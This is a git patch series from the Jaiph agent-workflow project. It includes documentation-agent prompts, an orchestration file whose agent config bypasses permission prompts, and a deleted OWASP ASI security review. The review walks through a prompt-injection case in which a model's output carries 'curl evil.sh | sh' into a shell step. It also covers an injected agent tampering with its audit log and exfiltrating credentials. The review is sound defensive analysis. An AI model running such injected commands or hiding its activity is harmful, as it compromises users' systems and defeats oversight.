accuracy, - user-centricity, consistency) you must apply to this task. - - ${role} - - - Verify ${path} against the Jaiph source code (the single source of truth) - and docs/architecture.md. - 0. This page belongs to a fixed Diátaxis quadrant declared in its - `diataxis:` front matter (tutorial / how-to / reference / explanation / - contributor). KEEP that type. Do NOT move content to or from other pages, - do NOT change the permalink, do NOT merge or split the page. - 1. Verify every factual claim, example, flag, config key, env var, and error - code against the source. Fix drift in the page to match the code. - 2. Repair cross-type bleed WITHIN the page only (e.g. delete a tutorial-style - walkthrough that crept into a reference page) — relocating it is out of - scope for this pass. - 3. Keep examples executable and aligned with current behavior. Keep prose - approachable, concise, and free of AI-like filler and excess emojis. - 4. Inline contextual links to other docs are fine; do NOT add manual - navigation blocks. Never touch docs/_legacy/. - 5. Edit ONLY this documentation page. Never edit source, tests - (*.test.ts), config, or anything under .jaiph/, and never create helper - or scratch scripts (e.g. *.mjs, *.sh) — make every change directly in - the documentation file. - - """ -} - -workflow docs_redesign_overview(docPaths) { - prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md (Diátaxis: tutorials, how-to, - reference, explanation). - - ${role} - - - The docs were DELIBERATELY restructured into Diátaxis quadrants. Your job is - to VERIFY and tighten that structure — NOT to reorganize it. Read all - ${docPaths} (these already exclude docs/_legacy/). Treat docs/architecture.md - as the architecture source of truth. - - PRESERVE the structure. Do NOT merge, split, move, rename, or re-quadrant - pages; do NOT change permalinks; do NOT restructure the nav in - docs/_layouts/docs.html beyond fixing an outright error. Specifically: - 1. Cross-page consistency: terminology, tone, and overlapping facts agree - across pages, and every page is consistent with docs/architecture.md - (runtime vs CLI responsibilities, __JAIPH_EVENT__ vs run artifacts, - channels/hooks, the jaiph test lane). - 2. Each page stays within its `diataxis:` type; flag (do not relocate) - any remaining cross-type bleed. - 3. Reference pages (cli, configuration, grammar, language, env-vars) match - the source exactly — every flag, key, env var, error code. Fix the docs. - 4. README.md and docs/index.html lead with the tutorials / how-to entry - points and link to getting-started (or the first tutorial) and the agent - skill URL, hardcoded as - https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md. - Markdown-to-markdown links end with .md; index.html links do not. - 5. Edit documentation files ONLY (docs/**/*.md, README.md, CHANGELOG.md, - docs/index.html, docs/_layouts/docs.html, docs/_config.yml). Never edit - src/, tests (*.test.ts), or anything under .jaiph/, and never create - helper or scratch scripts (e.g. *.mjs, *.sh) — make every change - directly in the documentation files. Never touch docs/_legacy/. - - """ -} - -workflow default() { - ensure worktree_is_clean() - const allowed_list = run build_allowed_paths_block() - ensure docs_files_present(allowed_list) - const docs_md_list = run list_docs_md_paths() - for path in docs_md_list { - if path != "" { - run docs_page(path) - } - } - run docs_redesign_overview(docs_md_list) - ensure only_expected_docs_changed_after_prompt() -} diff --git a/.jaiph/main.jh b/.jaiph/main.jh new file mode 100644 index 00000000..42f3d38d --- /dev/null +++ b/.jaiph/main.jh @@ -0,0 +1,81 @@ +#!/usr/bin/env jaiph + +# +# Project orchestration hub — the serve/mcp entrypoint for Jaiph's own +# maintenance workflows. Exposes only the `export workflow` surface below; +# helpers in the imported modules stay hidden. +# +# Serve (HTTP + MCP Streamable HTTP on the same port): +# jaiph serve --inplace -y --env ANTHROPIC_API_KEY --env GITHUB_TOKEN .jaiph/main.jh +# +# MCP over stdio: +# jaiph mcp --inplace -y --env ANTHROPIC_API_KEY --env GITHUB_TOKEN .jaiph/main.jh +# +# Optional args use "" for the workflow default (MCP/HTTP require every +# declared parameter as a string). gh_ci_passes needs GITHUB_TOKEN or GH_TOKEN. +# +import "./architect_review.jh" as arch_mod +import "./docs_parity.jh" as docs_mod +import "./engineer.jh" as eng_mod +import "./ensure_ci_passes.jh" as ci_mod +import "./gh_ci_passes.jh" as gh_ci_mod +import "./security_review.jh" as sec_mod +import "./simplifier.jh" as simp_mod +import "./prepare_release.jh" as rel_mod +import "./qa.jh" as qa_mod + +config { + agent.backend = "claude" + agent.claude_flags = "--permission-mode bypassPermissions" +} + +# Review every QUEUE.md task for clarity, architecture fit, and #dev-ready. +# Marks ready tasks; fails if any still need work. +export workflow architect_review() { + run arch_mod.default() +} + +# Bring docs/ and CLI usage strings in line with the current TypeScript/Bash source. +# Requires a clean worktree; edits docs and related usage surfaces only. +export workflow docs_parity() { + run docs_mod.default() +} + +# Implement the first #dev-ready QUEUE.md task end-to-end: code, CI, docs, commit patch. +# Optional role name (e.g. "engineer"); "" lets the workflow classify the role. +export workflow engineer(role) { + return run eng_mod.default(role) +} + +# Run npm run test:ci and loop with an agent until it passes (or recover_limit). +export workflow ensure_ci_passes() { + run ci_mod.default() +} + +# Wait for GitHub Actions CI on the branch, pull failure logs, and repair until green. +# branch="" uses the current branch; workflow_name="" defaults to "CI". Needs GITHUB_TOKEN. +export workflow gh_ci_passes(branch, workflow_name) { + run gh_ci_mod.default(branch, workflow_name) +} + +# OWASP ASI Top 10 security review; writes a report under .jaiph/tmp/ and fails on HIGH. +# scope: ""|"codebase"|"full" for whole tree, "diff" for uncommitted, or a git range. +export workflow security_review(scope) { + run sec_mod.default(scope) +} + +# Find and apply safe simplifications (no test/e2e edits), then re-run local CI. +export workflow simplifier() { + run simp_mod.default() +} + +# Stage a release: CHANGELOG review, version bump, installer ref, rebuild, registry. +# version="" bumps the next patch from package.json; otherwise pass X.Y.Z. No tag/push. +export workflow prepare_release(version) { + return run rel_mod.default(version) +} + +# Find test-coverage gaps and write missing tests until local CI is green. +export workflow qa() { + run qa_mod.default() +} diff --git a/.jaiph/sandbox.jh b/.jaiph/sandbox.jh deleted file mode 100755 index 4cbc212c..00000000 --- a/.jaiph/sandbox.jh +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env jaiph - -import "jaiphlang/artifacts" as artifacts - -workflow default() { - run `echo "Hello, world!" > output.txt`() - const path = run artifacts.save("./output.txt") - return path -} \ No newline at end of file diff --git a/.jaiph/security_review_2026-07-20.md b/.jaiph/security_review_2026-07-20.md deleted file mode 100644 index 8b77b8d2..00000000 --- a/.jaiph/security_review_2026-07-20.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -name: security_review -title: Security review -diataxis: explanation -date: 2026-07-20 -scope: Full Jaiph repository — workflow DSL runtime, TypeScript CLI, Docker sandbox, agent backends (cursor/claude/codex), script & shell step execution, env/secret handling, run artifacts, installers, and skills -framework: OWASP ASI Top 10 ---- - -# Jaiph Security Review — OWASP ASI Top 10 - -## Executive summary - -Jaiph is a workflow-DSL runtime that drives LLM agents and executes scripts and -shell on a user's behalf, isolated by a Docker sandbox. Reviewed as an *agentic -control plane*, the design is unusually disciplined in the places that matter -most for deterministic policy: the env-forwarding **allowlist** and mount -**denylist** are pure code with no LLM in the enforcement path (ASI-08), and the -runtime ships real circuit breakers — layered prompt watchdogs, an absolute -duration cap, recursion-depth and inbox-dispatch limits, and a -force-remove-by-name container kill switch (ASI-10). - -The residual risk is concentrated where **untrusted model output meets -execution**. The DSL is shell-first: any workflow line that is not a keyword -becomes a shell step, and `sh` steps run through `sh -c` on a string that may -embed values captured from a prompt. Scripts, by contrast, are spawned by argv -(no shell parsing of arguments) — a genuine strength that keeps this from being -worse. The security boundary between "model said it" and "machine ran it" is -therefore the Docker sandbox itself, not any input validation. That boundary is -solid in the default configuration but is *deliberately* removed by `--unsafe` -(host-only) and weakened by `--inplace` / the MCP default (host workspace -bind-mounted read-write). - -No directly exploitable HIGH issue was found: the sandbox contains -prompt-injection-to-shell in the default posture, and the capability grants that -weaken the sandbox all require a kernel-level bug to turn into escape. The -findings below are the conditions under which the boundary thins, plus -defense-in-depth gaps in auditability and supply chain. - -**Verdict: PASS** (no HIGH findings). - -| Severity | Count | -|----------|-------| -| HIGH | 0 | -| MEDIUM | 2 | -| LOW | 5 | - -**ASI coverage: 2 / 10 PASS** (2 PASS, 8 PARTIAL, 0 FAIL). The low PASS count -reflects a strict reading of the ASI checklist (which expects e.g. hash-chained -audit logs and cryptographic agent identity); most controls are *partially* -present and contained by the sandbox rather than absent. - -## ASI compliance matrix - -| Risk | Status | Note | -|------|--------|------| -| ASI-01 Prompt Injection | PARTIAL | No validation gate between prompt output and tool/shell execution; sandbox is the only mitigation. | -| ASI-02 Insecure Tool Use | PARTIAL | Scripts spawn by argv (safe); `sh -c` on interpolated strings is raw shell by design. | -| ASI-03 Excessive Agency | PARTIAL | Single fixed workspace mount, no user mounts; but `--unsafe`/`--inplace`/MCP-default remove or thin the isolation. | -| ASI-04 Unauthorized Escalation | PARTIAL | Config overrides gated by deterministic `*_LOCKED` flags; but imported-module metadata can change the executed agent command without attestation. | -| ASI-05 Trust Boundary | PARTIAL | Single-process, single-trust-domain; inter-workflow `send`/inbox sender identity is a plain string, no verification. | -| ASI-06 Insufficient Logging | PARTIAL | Structured `run_summary.jsonl` with ids/timestamps/status (replayable), but written into agent-writable `.jaiph/runs`, not hash-chained, no secret redaction. | -| ASI-07 Insecure Identity | PARTIAL | No cryptographic agent identity; backends authenticate to providers via API keys/OAuth only. Largely N/A for a local single-user CLI. | -| ASI-08 Policy Bypass | PASS | Env allowlist + mount denylist + `*_LOCKED` gates are deterministic code, fail-closed, no LLM in the enforcement path. | -| ASI-09 Supply Chain | PARTIAL | Installer verifies SHA-256, but from the same origin (TOFU, no signature); Docker image pulls toolchains via unpinned `curl \| sh`. | -| ASI-10 Behavioral Anomaly | PASS | Prompt watchdogs (grace/idle/max), recursion + inbox-dispatch caps, timeout + force-remove container kill switch. | - -## Scope and method - -The entire repository was scanned, not a diff. Emphasis followed the task's -agentic attack surface: - -- **Agent backends & prompt path** — `src/runtime/kernel/prompt.ts`, - `node-workflow-runtime.ts` (`runPromptStep`, interpolation). -- **Script & shell execution** — `executeScript`, `executeInlineScript`, - `executeShLine`, `spawnAndCapture` in `node-workflow-runtime.ts`. -- **Docker sandbox** — `src/runtime/docker.ts`, `runtime/overlay-run.sh`, - `runtime/Dockerfile`, sandbox-mode selection and cap/mount/env policy. -- **Secrets & env** — `ENV_ALLOW_PREFIXES`, `isEnvAllowed`, `remapDockerEnv`, - `preflight-credentials.ts`. -- **Privilege / bypass** — `--unsafe`, `--inplace`, `JAIPH_INPLACE`, - `applyMetadataScope` and the `*_LOCKED` gates. -- **Supply chain** — `docs/install`, `docs/install.ps1`, `Dockerfile`. -- **Auditability** — `run_summary.jsonl`, run artifacts, event emitter. -- **MCP exposure** — `src/cli/mcp/tools.ts`, sandbox mode for tool calls. - -Only issues estimated above 0.8 confidence of real exploitability in *this* -codebase are reported; web-app categories (SQLi/XSS/CSRF/JWT) were excluded as -out of scope per the brief. The report itself is the only file written. - -## Findings - -### 1. Prompt/model output flows into `sh -c` with no validation gate - -- **ASI:** ASI-01 (Prompt Injection) / ASI-02 (Insecure Tool Use) -- **Severity:** MEDIUM -- **Confidence:** 0.85 -- **Where:** `src/runtime/kernel/node-workflow-runtime.ts:1642` (`executeShLine` → - `sh -c command`), fed by `interpolateWithCaptures` at - `src/runtime/kernel/node-workflow-runtime.ts:1048-1057`; shell fallthrough is - the DSL's default for any non-keyword line (see `docs/architecture.md`). - -**Exploit scenario.** A workflow captures a prompt result and uses it in a shell -step: - -``` -const target = prompt "Read scan.txt and return the hostname to probe" -sh "nmap ${target}" -``` - -`scan.txt` is attacker-influenced content the agent reads. A prompt-injection -payload makes the model return `example.com; curl evil.sh | sh`. Because -`executeShLine` runs `sh -c "nmap example.com; curl evil.sh | sh"`, the injected -suffix executes. There is no validation, quoting, or allowlist between the model -output and the shell — `${target}` is spliced into the command string verbatim. -In the default posture this runs inside the Docker sandbox (the intended blast -radius). Under `--unsafe` it runs on the host; under `--inplace` / MCP it can -modify the real project tree (e.g. write a `.git/hooks/pre-commit`). - -**Why it is MEDIUM, not HIGH.** The sandbox is the designed containment and it -holds in the default configuration, and the pattern requires the author to embed -a capture in a shell line. It is not a clean RCE-out-of-the-box. - -**Remediation.** Document this data-flow hazard prominently for workflow authors; -prefer passing captured values as script *arguments* (already safe via argv in -`executeScript`) rather than interpolating into `sh` strings. Consider a -lint/validator warning when a `${var}` known to originate from a `prompt` -capture appears inside a shell step, and offer a shell-quoting helper -(`${var|quote}`) so the safe path is the easy path. - -### 2. MCP tool calls default to `inplace` — real workspace bind-mounted read-write - -- **ASI:** ASI-03 (Excessive Agency) -- **Severity:** MEDIUM -- **Confidence:** 0.8 -- **Where:** `src/runtime/docker.ts:405-411` (`selectMcpSandboxMode` returns - `inplace` when nothing is set) and `src/runtime/docker.ts:783-786` - (`inplace` binds the host workspace `:rw`). - -**Exploit scenario.** When Jaiph runs as an MCP server, every exposed workflow -(`src/cli/mcp/tools.ts`) executes with the *host* workspace mounted read-write by -default — isolation is inverted relative to `jaiph run`. A calling agent (or a -prompt-injected sub-agent) invoking a workflow that writes files, combined with -Finding 1, can modify any file in the real project: source, CI config, git -hooks, `package.json` scripts. The Docker machine boundary still stands, but the -*workspace* boundary is gone by default, so tool effects are persistent and can -seed later host-side execution (a poisoned build script or git hook run outside -the sandbox). - -**Remediation.** Make the MCP default explicit and visible in the server startup -banner ("writes land live on "), and consider defaulting MCP to `copy` -isolation with `inplace` as an opt-in, matching `jaiph run`. At minimum, require -an env/flag acknowledgement before serving a workspace in live-write mode. - -### 3. Overlay sandbox grants SYS_ADMIN and disables AppArmor - -- **ASI:** ASI-03 (Excessive Agency) / ASI-05 (Trust Boundary) -- **Severity:** LOW -- **Confidence:** 0.75 -- **Where:** `src/runtime/docker.ts:729` (`--cap-add SYS_ADMIN`, plus SETUID/ - SETGID/CHOWN/DAC_READ_SEARCH) and `src/runtime/docker.ts:746` - (`--security-opt apparmor=unconfined` on Linux). Overlay setup runs as - `--user 0:0` (`docker.ts:768`). - -**Exploit scenario.** To mount `fuse-overlayfs`, overlay mode starts the -container as root with `SYS_ADMIN` and AppArmor unconfined. The overlay script -then drops to the host UID via `setpriv` (`runtime/overlay-run.sh:29`) and -`--security-opt no-new-privileges` is set, so the workflow process itself is -unprivileged. But a kernel/FUSE vulnerability reachable from the container, or a -window before the UID drop, has a materially larger attack surface than a -minimal container would. This is defense-in-depth, not a direct exploit — hence -LOW. - -**Remediation.** Prefer the `copy` sandbox path (no SYS_ADMIN, no fuse) as the -default where feasible; it already provides the same isolation guarantee per the -in-code comments. Where overlay is required, scope AppArmor with a tailored -profile instead of `unconfined`, and document the elevated posture. - -### 4. Audit trail lives in an agent-writable directory, unchained and unredacted - -- **ASI:** ASI-06 (Insufficient Logging) -- **Severity:** LOW -- **Confidence:** 0.8 -- **Where:** run dir + `run_summary.jsonl` created under `.jaiph/runs` - (`node-workflow-runtime.ts:281-291`, `:445-452`); artifacts mounted at - `/jaiph/run` (`docker.ts:576,793`). No redaction/hash-chaining in the event - emitter (`runtime-event-emitter.ts`, `emit.ts`). - -**Exploit scenario.** The structured JSONL log is good — timestamped, id-linked, -status-bearing, and replayable. But it is written to `/jaiph/run` (mapped to -`.jaiph/runs` on the host), which the running workflow can write to. A -misbehaving or injected agent can append, rewrite, or truncate its own run -summary and artifacts to hide activity, because there is no append-only -enforcement and no hash chain to detect tampering. Separately, prompt text and -the reconstructed command line are written to artifacts verbatim -(`prompt.ts:745-746`), so any secret a workflow interpolates into a prompt or -logs to stdout is persisted in cleartext. - -**Remediation.** Hash-chain `run_summary.jsonl` (each line carries the SHA-256 of -the previous) and/or stream events to a location the sandboxed workflow cannot -write. Add a redaction pass over known credential env values before writing -prompt/command artifacts. - -### 5. Installer and image toolchain trust-on-first-use without signatures - -- **ASI:** ASI-09 (Supply Chain Integrity) -- **Severity:** LOW -- **Confidence:** 0.8 -- **Where:** `docs/install:218-242` (binary + `SHA256SUMS` downloaded from the - same base URL, checksum compared, no signature); `runtime/Dockerfile:86,104,123,188` - (`uv`, `rustup`, `bun`, cursor installer via unpinned `curl … | sh`/`| bash`). - -**Exploit scenario.** The installer downloads the binary and its `SHA256SUMS` -from the same GitHub release origin, then verifies one against the other — this -detects corruption but not a compromised release: an attacker who can replace the -asset replaces the checksum file too. The Dockerfile similarly pipes remote -install scripts straight into a shell with no pinned digest, so a compromised -upstream (astral.sh, sh.rustup.rs, bun.sh, cursor.com) executes arbitrary code at -image-build time. There is no detached signature (GPG/cosign), no SBOM, and no -`INTEGRITY.json`-style manifest. - -**Remediation.** Publish and verify a detached signature over `SHA256SUMS` -(cosign or minisign) in the installer; pin toolchain installers to a known SHA-256 -and verify before executing; generate an SBOM for the runtime image. - -### 6. Imported `.jh` module metadata can change the executed agent command - -- **ASI:** ASI-03 (Excessive Agency) / ASI-09 (Supply Chain Integrity) -- **Severity:** LOW -- **Confidence:** 0.75 -- **Where:** `applyMetadataScope` applies callee-module metadata cross-module - (`node-workflow-runtime.ts:1699-1700` sets `JAIPH_AGENT_COMMAND` unless - `JAIPH_AGENT_COMMAND_LOCKED=1`); the cursor backend spawns that command - (`prompt.ts:199-211`, spawned at `prompt.ts:600`). - -**Exploit scenario.** A workflow `import`s a third-party `.jh` library. That -module's metadata sets `agent.command = "some-binary --flag"`. When a `prompt` -step executes in the imported module's scope, Jaiph spawns `some-binary` as the -"agent backend" (argv, so no shell metacharacters, but any executable on PATH -runs). Unless the top-level run set `JAIPH_AGENT_COMMAND_LOCKED=1`, importing an -untrusted module silently changes what binary runs on the user's behalf — a -config-driven escalation without any attestation step. - -**Remediation.** Do not let imported-module metadata override -`agent.command`/`agent.backend` by default; require the entry module (or an -explicit flag) to opt into honoring a dependency's execution config, or lock -these keys by default and require explicit unlock. - -### 7. Broad credential env prefixes forwarded into the container - -- **ASI:** ASI-06 (Insufficient Logging) / ASI-08-adjacent -- **Severity:** LOW -- **Confidence:** 0.8 -- **Where:** `ENV_ALLOW_PREFIXES = ["JAIPH_","ANTHROPIC_","CURSOR_","CLAUDE_","OPENAI_"]` - (`src/runtime/docker.ts:582`); forwarded in `buildDockerArgs` - (`docker.ts:801-808`); `--env` passthrough bypasses the allowlist by design - (`docker.ts:809-813`). - -**Exploit scenario.** The allowlist is the right shape (fail-closed, prefix-based) -and is correct for delivering agent credentials. The residual risk is breadth: an -entire prefix family is forwarded, so any `ANTHROPIC_*`/`OPENAI_*`/`CLAUDE_*` -value on the host — including ones unrelated to the current backend — is exposed -to whatever code runs in the sandbox, and combined with Finding 1 an injected -shell step inside the container can read them from its environment and exfiltrate -over the default network. This is contained (same trust domain, sandboxed) but -wider than least-privilege. - -**Remediation.** Forward only the specific credential keys the resolved backend -needs (e.g. `ANTHROPIC_API_KEY`/`CLAUDE_CODE_OAUTH_TOKEN` for claude), rather than -whole prefix families; document that `--env` is an intentional bypass. - -## Critical gaps and recommendations - -There are no critical (HIGH) gaps. In priority order: - -1. **Close the prompt-output → shell gap (Findings 1, 2).** This is the highest - residual risk because it converts prompt injection into command execution. The - sandbox contains it today, so the practical fixes are (a) steer authors to - argv-passing over `sh` interpolation, (b) a validator warning for - prompt-derived vars in shell steps, and (c) making MCP's live-write default - explicit or opt-in. -2. **Harden auditability (Finding 4).** Hash-chain the run summary and add secret - redaction so the audit trail is trustworthy and safe to retain — this is what - separates ASI-06 PARTIAL from PASS. -3. **Sign the supply chain (Finding 5).** A detached signature over `SHA256SUMS` - and pinned toolchain digests move ASI-09 toward PASS. -4. **Tighten least privilege (Findings 3, 6, 7).** Prefer the `copy` sandbox, - scope AppArmor, lock execution-config keys against untrusted imports, and - forward only backend-specific credentials. - -**What is already strong and should be preserved:** the deterministic, -code-only, fail-closed policy layer (mount denylist, env allowlist, `*_LOCKED` -gates — ASI-08); argv-based script spawning that keeps command injection out of -the *script* path; and the genuine circuit-breaker / kill-switch machinery -(watchdogs, caps, force-remove container — ASI-10). These are the right -foundations; the findings above are about the edges where untrusted model output -reaches execution and where the sandbox is intentionally relaxed. From c41c0a429ea537e4de469e27bb3400b6cebe9a7d Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Wed, 29 Jul 2026 11:23:41 +0200 Subject: [PATCH 21/24] Feat: refresh in-tree VS Code plugin for current language MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The plugins/vscode/ extension was imported from the old jaiph-syntax-vscode repo and still described a stale surface (.jph fixtures/docs, camelCase assertions, removed keywords). Its TextMate grammar and language-configuration.json now match the current .jh / *.test.jh grammar: for … in loops fold and highlight, catch joins recover as a failure handler, logwarn joins the command keywords, the assertions are expect_contain / expect_not_contain / expect_equal, and the config keys are the current set; all .jph and removed-keyword surface is gone. Diagnostics and formatting stay wired to the installed CLI (jaiph compile --json and jaiph format) but now report a clear configuration error when the binary is missing or unreachable — distinguishing an unconfigured PATH lookup from a bad jaiph.compilerPath — instead of silently reporting success, and a transient compile failure leaves prior diagnostics in place. A new npm test suite tokenizes fixtures with vscode-textmate (with a regression fixture that fails if removed surface such as wait reappears) and runs the real jaiph compile --json against valid and invalid fixtures. Packaging metadata and the README were corrected to the monorepo layout, and a path-filtered VS Code plugin CI workflow builds, tests, and packages the extension only when its tree changes. Also fixes the shared jaiph mcp / jaiph serve source watcher to reconcile its watched set on hot reload instead of re-watching every file, so an edit landing before watchFile's asynchronous baseline stat is no longer silently absorbed and dropped. Co-Authored-By: Claude Opus 4.8 (1M context) --- .github/workflows/vscode-plugin.yml | 43 ++++ CHANGELOG.md | 6 + QUEUE.md | 18 -- plugins/vscode/.gitignore | 5 +- plugins/vscode/.vscodeignore | 4 +- plugins/vscode/README.md | 59 ++++- plugins/vscode/language-configuration.json | 2 +- plugins/vscode/package-lock.json | 36 ++- plugins/vscode/package.json | 8 +- plugins/vscode/src/compile.ts | 78 +++++++ plugins/vscode/src/diagnostics.ts | 82 ++++--- plugins/vscode/src/formatting.ts | 8 +- plugins/vscode/syntaxes/fixtures/README.md | 10 - plugins/vscode/syntaxes/fixtures/sample.jph | 217 ------------------ plugins/vscode/syntaxes/jaiph.tmLanguage.json | 29 ++- plugins/vscode/test/compile.test.ts | 89 +++++++ plugins/vscode/test/fixtures/current.jh | 66 ++++++ plugins/vscode/test/fixtures/current.test.jh | 11 + plugins/vscode/test/fixtures/invalid.jh | 3 + plugins/vscode/test/fixtures/regression.jh | 11 + plugins/vscode/test/fixtures/valid.jh | 4 + plugins/vscode/test/grammar.test.ts | 81 +++++++ plugins/vscode/test/tmgrammar.ts | 65 ++++++ plugins/vscode/tsconfig.test.json | 10 + src/cli/shared/generation.ts | 27 ++- 25 files changed, 652 insertions(+), 320 deletions(-) create mode 100644 .github/workflows/vscode-plugin.yml create mode 100644 plugins/vscode/src/compile.ts delete mode 100644 plugins/vscode/syntaxes/fixtures/README.md delete mode 100644 plugins/vscode/syntaxes/fixtures/sample.jph create mode 100644 plugins/vscode/test/compile.test.ts create mode 100644 plugins/vscode/test/fixtures/current.jh create mode 100644 plugins/vscode/test/fixtures/current.test.jh create mode 100644 plugins/vscode/test/fixtures/invalid.jh create mode 100644 plugins/vscode/test/fixtures/regression.jh create mode 100644 plugins/vscode/test/fixtures/valid.jh create mode 100644 plugins/vscode/test/grammar.test.ts create mode 100644 plugins/vscode/test/tmgrammar.ts create mode 100644 plugins/vscode/tsconfig.test.json diff --git a/.github/workflows/vscode-plugin.yml b/.github/workflows/vscode-plugin.yml new file mode 100644 index 00000000..80ff9b86 --- /dev/null +++ b/.github/workflows/vscode-plugin.yml @@ -0,0 +1,43 @@ +name: VS Code plugin + +# Path-filtered so core PRs do not rebuild the extension by default. Runs when +# the plugin tree changes, or when the compile command it depends on changes +# (the diagnostics tests invoke the real `jaiph compile --json` contract). +on: + push: + paths: + - "plugins/vscode/**" + - "src/cli/commands/compile.ts" + - ".github/workflows/vscode-plugin.yml" + +jobs: + vscode-plugin: + name: Compile, grammar & diagnostics tests, package + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + + # The plugin's diagnostics tests run the real monorepo CLI, so build it. + - name: Build the jaiph CLI + run: | + npm ci + npm run build + + - name: Install plugin dependencies + run: npm ci + working-directory: plugins/vscode + + - name: Typecheck, compile, grammar & diagnostics tests + run: npm test + working-directory: plugins/vscode + + - name: Package the extension + run: npm run package + working-directory: plugins/vscode diff --git a/CHANGELOG.md b/CHANGELOG.md index c00dc396..381763ea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,8 @@ ## Summary +- **Refresh the VS Code extension for the current language:** the in-tree `plugins/vscode/` extension now highlights the current `.jh` / `*.test.jh` surface (`script`, `run async`, `catch` / `recover`, channels, `for … in`, `logwarn`, `expect_*`, `test` blocks), backs open/save diagnostics and formatting with the installed `jaiph` CLI (reporting a clear error when the binary is missing instead of failing silently), and ships an automated grammar + CLI-contract test suite gated by a path-filtered CI job. + - **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one authentication boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Production authentication is either a static single-operator bearer token or standard OIDC/JWT (issuer + audience + JWKS discovery) with per-user identity and separate `invoke` / `inspect` / `cancel` scope authorization, and every run is audit-attributed to its authenticated principal and correlation id (in run metadata, logs, OTLP, and Sentry — never a token). A concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. Runs are restart-safe and retry-safe: each run's public record is persisted beside its journal and reconstructed on startup (so list/get/events/artifacts keep working across a restart, and a run caught mid-flight by a process death is reconciled to an explicit `interrupted` state, never left reported as permanently running), and an optional `Idempotency-Key` on run creation makes client retries return the original run instead of spawning a duplicate. It is a **single-replica** service by design — the run registry, concurrency cap, and idempotency index are per-process — so scale it vertically, not by adding replicas. - **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. @@ -12,6 +14,10 @@ ## All changes +- **Feat — bring the in-tree VS Code extension up to the current Jaiph language surface:** `plugins/vscode/` was imported from the old `jaiph-syntax-vscode` repo and still described a stale language (`.jph` fixtures and docs, camelCase assertions, removed keywords). Its TextMate grammar and `language-configuration.json` now match the current `.jh` / `*.test.jh` grammar: `for … in` loops fold and highlight, `catch` joins `recover` as a failure handler, `logwarn` joins the command keywords, the test assertions are `expect_contain` / `expect_not_contain` / `expect_equal`, the config keys are the current set (`agent.model`, `run.recover_limit`, `runtime.docker_timeout_seconds`, `module.name` / `module.version` / `module.description`), and stale surface (`wait`, `respond`, `agent.default_model`, `runtime.docker_enabled`, the camelCase assertions, and every `.jph` assumption) is gone. Diagnostics and formatting stay wired to the installed CLI (`jaiph compile --json` and `jaiph format`) but now report a clear configuration error when the binary is missing or unreachable — distinguishing an unconfigured default `PATH` lookup from a bad `jaiph.compilerPath` — instead of silently reporting success, and a transient compile failure leaves prior diagnostics in place. A new `npm test` suite tokenizes fixtures with `vscode-textmate` (with a regression fixture that fails if removed surface such as `wait` reappears) and runs the real `jaiph compile --json` against valid and invalid fixtures, so the diagnostics tests break if the CLI contract changes. Packaging metadata and the plugin README were corrected to the monorepo layout (`.jh` only, how to F5 from `plugins/vscode/`, package/publish scripts), and a path-filtered `VS Code plugin` CI workflow builds, tests, and packages the extension only when its tree — or the `jaiph compile` command it depends on — changes, so core PRs do not rebuild it by default. + +- **Fix — stop the `jaiph mcp` / `jaiph serve` source watcher from missing edits during hot reload:** the shared `watchFile`-based watcher re-derives its file set on every hot reload. It used to unwatch every file and re-watch the whole new set, but re-watching a file that survived the reload reset `watchFile`'s baseline — captured with an asynchronous initial `stat` that fires no callback — so an edit that landed before that `stat` completed was absorbed into the new baseline and never detected, silently dropping a hot reload. The watcher now reconciles instead: it only unwatches files that left the set and only watches files that arrived, leaving a surviving file's live baseline (and the poll that catches its next edit) untouched. + - **Feat — production authentication, authorization, and audit identity for `jaiph serve`:** `JAIPH_SERVE_TOKEN` was a fail-closed shared-secret gate with no user identity, revocation, per-action authorization, or attribution — insufficient once multiple company users can invoke arbitrary engineering workflows over one deployment. `jaiph serve` now has two production auth modes plus the open loopback default, all resolved once at startup in the new `src/cli/serve/auth.ts` and applied uniformly to `/v1/*` **and** `POST /mcp`. **Static single-operator mode is kept and explicit:** `JAIPH_SERVE_TOKEN` remains a constant-time-compared shared secret, but is now documented as a **single-operator** gate — one `operator` principal that holds every capability and sees every run, *not* multi-tenant authentication. **New OIDC/JWT mode:** `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (setting only one is a startup error; OIDC takes precedence over the static token) verify bearer JWTs against the issuer's JWKS — discovered from `/.well-known/openid-configuration` or set explicitly with `JAIPH_SERVE_OIDC_JWKS_URI` — using the maintained `jose` library rather than hand-rolled cryptography (signature, `exp`/`nbf`, `aud`, `iss`, and `kid` selection with unknown-key refetch). **Per-action authorization:** three 